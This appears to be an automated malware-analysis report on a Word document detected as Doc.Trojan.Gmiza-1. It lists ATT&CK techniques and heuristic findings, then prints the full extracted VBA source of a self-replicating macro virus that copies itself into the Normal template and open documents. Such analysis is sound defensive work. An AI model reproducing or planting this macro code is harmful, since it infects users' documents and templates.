MALICIOUS
208
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains VBA macros that exhibit self-replication behavior, attempting to write malicious code to 'C:\Syswin32.drv' and then incorporate it into the Normal template and the active document. This indicates an attempt to establish persistence and potentially evade antivirus detection. The ClamAV detection of 'Doc.Trojan.Gmiza-1' further supports its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Gmiza-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Gmiza-1
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
.DeleteLines x, x + 3 -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_New(): Document_Open: End Sub
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1995 bytes |
SHA-256: fd9ec48a8ee256171b15d7e6188751eae5dc24f502e1454c0e8e8717132c5d2d |
|||
|
Detection
ClamAV:
Doc.Trojan.Gmiza-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New(): Document_Open: End Sub
Private Sub Document_Close(): Document_Open: End Sub
Private Sub Document_Open(): Dim a, b, c: x = x + 1
ThisDocument.VBProject.vbcomponents(x).Export ("C:\Syswin32.drv")
If NormalTemplate.VBProject.vbcomponents(x).codemodule.CountOfLines = 0 Then
With NormalTemplate.VBProject.vbcomponents(x).codemodule
.AddFromFile "c:\syswin32.drv"
.DeleteLines x, x + 3
End With
End If
If ActiveDocument.VBProject.vbcomponents(x).codemodule.CountOfLines = 0 Then
With ActiveDocument.VBProject.vbcomponents(x).codemodule
.AddFromFile "c:\syswin32.drv"
.DeleteLines x, x + 3
End With
End If
If NormalTemplate.VBProject.vbcomponents(x).codemodule.CountOfLines < 46 Then
With NormalTemplate.VBProject.vbcomponents(x).codemodule
.DeleteLines x, .CountOfLines
.AddFromFile "c:\syswin32.drv"
.DeleteLines x, x + 3
End With
End If
If ActiveDocument.VBProject.vbcomponents(x).codemodule.CountOfLines < 46 Then
With ActiveDocument.VBProject.vbcomponents(x).codemodule
.DeleteLines x, .CountOfLines
.AddFromFile "c:\syswin32.drv"
.DeleteLines x, x + 3
End With
End If
With Application
.Assistant.TipOfDay = True
.Assistant.Animation = msoAnimationBeginSpeaking
.Assistant.AssistWithAlerts = False
.Assistant.Sounds = True
.Selection.TypeText "Covjek je gospodar svoje rijeci, ali kad ta rijec izadje iz njega on postaje njen rob!"
End With
With ActiveDocument
.Words(x).Underline = wdUnderlineDottedHeavy
For u = x To 7
.Shapes.AddLine 7, 7, 7, 7
Next u
End With
'WM.Gmizavac by e[ax] / Species VL
'Authorized distribution for Bosnia and Herzegovina
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.